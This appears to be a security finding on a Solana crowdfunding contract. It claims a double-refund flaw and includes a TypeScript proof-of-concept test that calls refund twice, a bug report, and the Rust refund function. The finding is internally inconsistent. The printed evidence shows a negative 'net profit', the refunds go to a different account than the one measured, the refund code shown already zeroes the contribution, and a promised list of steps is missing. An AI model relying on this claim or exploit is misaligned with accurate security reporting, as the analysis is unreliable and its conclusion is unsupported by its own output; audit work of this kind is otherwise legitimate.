Due to the missing contribution amount tracking, users can exploit the contract to claim multiple refunds for the same contribution, potentially draining the fund.
This vulnerability combines the issue of not tracking individual contribution amounts with the ability to refund after the deadline. Since the contract sets the contribution amount to 0 but never updates it, and the refund function transfers the amount stored in the contribution record, a user could:
This vulnerability allows malicious user do drain fund by refunding multiple times, directly steal form other contributors and the pool of founds.
it("Exploitation scenario: Contribution tracking bypass allows multiple refunds", async () => {
const exploitFundName = "Exploit Fund";
const [exploitFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(exploitFundName), creator.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(exploitFundName, description, goal)
.accounts({
fund: exploitFundPDA,
creator: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const exploitDeadline = new anchor.BN(Math.floor(Date.now() / 1000) + 10);
await program.methods
.setDeadline(exploitDeadline)
.accounts({
fund: exploitFundPDA,
creator: creator.publicKey,
})
.rpc();
const smallContribution = new anchor.BN(100000000);
const [exploitContributionPDA] = await PublicKey.findProgramAddress(
[exploitFundPDA.toBuffer(), provider.wallet.publicKey.toBuffer()],
program.programId
);
const balanceBeforeContribution = await provider.connection.getBalance(
provider.wallet.publicKey
);
await program.methods
.contribute(smallContribution)
.accounts({
fund: exploitFundPDA,
contributor: provider.wallet.publicKey,
contribution: exploitContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
await new Promise((resolve) => setTimeout(resolve, 15000));
await program.methods
.refund()
.accounts({
fund: exploitFundPDA,
contribution: exploitContributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
await program.methods
.refund()
.accounts({
fund: exploitFundPDA,
contribution: exploitContributionPDA,
contributor: creator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const balanceAfterExploit = await provider.connection.getBalance(
provider.wallet.publicKey
);
console.log(`Contributed 0.1 SOL once but refunded multiple times`);
console.log(`Net profit from exploit: ~${(balanceAfterExploit - balanceBeforeContribution)/1000000000} SOL`);
});
========================================
🐛 BUG REPORT [CRITICAL]: Contribution Tracking Exploit
----------------------------------------
Description: User can refund multiple times after deadline because contribution amounts aren't properly tracked
Evidence: Contributed 0.1 SOL once but was able to refund multiple times. Net profit from exploit: ~-0.101462656 SOL
========================================
pub fn refund(ctx: Context<FundRefund>) -> Result<()> {
let amount = ctx.accounts.contribution.amount;
// Proceed with refund only if amount > 0
if amount == 0 {
return Err(ErrorCode::NothingToRefund.into());
}
if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() {
return Err(ErrorCode::DeadlineNotReached.into());
}
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.contributor.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.contributor.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
// Reset contribution amount after refund
ctx.accounts.contribution.amount = 0;
Ok(())
}